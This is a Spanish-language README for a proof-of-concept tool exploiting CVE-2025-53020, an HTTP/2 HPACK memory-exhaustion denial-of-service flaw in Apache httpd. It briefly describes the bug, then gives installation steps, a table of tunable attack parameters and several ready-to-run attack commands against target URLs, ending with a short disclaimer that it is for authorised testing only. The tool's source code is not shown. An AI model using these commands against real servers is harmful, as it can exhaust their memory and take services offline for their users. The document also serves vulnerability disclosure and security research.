
PoC para CVE-2025-53020 - HPACK bombing para Apache HTTPD.
Una prueba de concepto que demuestra CVE-2025-53020, una vulnerabilidad de agotamiento de memoria en la implementación HTTP/2 de Apache httpd que encontré a mediados de 2025.
📖 Análisis profundo: galbarnahum.com/posts/apache-httpd-cve-2025-53020
Apache httpd es vulnerable a un ataque de denegación de servicio a través del procesamiento de cabeceras HTTP/2. La vulnerabilidad existe debido a la duplicación innecesaria de memoria al manejar nombres de cabecera repetidos en solicitudes HTTP/2.
h2 - Librería de protocolo HTTP/2tqdm - Barra de progreso para visualización del ataquepip install h2 tqdm
python poc.py --url https://target.example.com/
| Argumento | Predeterminado | Descripción |
|---|---|---|
--url | requerido | URL objetivo (ej., https://example.com/path) |
--header-name-length | 4064 | Longitud del nombre de cabecera (máx: 4064) |
--header-reps | 2063 | Número de repeticiones de cabecera por solicitud (máx recomendado: 2063) |
--requests-per-batch | 1 | Número de solicitudes por lote |
--batches | 100 | Número de lotes a enviar |
--delay | 0 | Retardo entre lotes en segundos |
--num-headers-to-repeat | 1 | Número de nombres de cabecera diferentes a crear (usa caracteres a, b, c, etc.) |
Ataque estándar contra objetivo HTTPS:
python poc.py --url https://target.com/api/endpoint
Ataque con configuración personalizada de cabecera:
python poc.py --url http://localhost:8080/test --header-reps 1000 --batches 200
Ataque con múltiples nombres de cabecera distintos:
python poc.py --url https://target.com --num-headers-to-repeat 3 --header-name-length 3000
Ataque más lento con retardo entre lotes:
python poc.py --url https://target.com --delay 0.5 --batches 500
El PoC incluye un parche para el codificador HPACK de la librería h2 para manejar correctamente valores de cabecera vacíos. Esto corrige un error donde el codificador indexaba incorrectamente cabeceras con valores de cadena vacía (tratando "" como falso en lugar de verificar None).
--num-headers-to-repeat > 1, la longitud del nombre de cabecera debe ser < 4000Versiones de Apache httpd vulnerables a CVE-2025-53020. Consulte los avisos de seguridad oficiales de Apache para obtener información específica de versiones y parches.
⚠️ Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
Este proyecto es para fines de investigación en seguridad. Úselo de manera responsable y ética.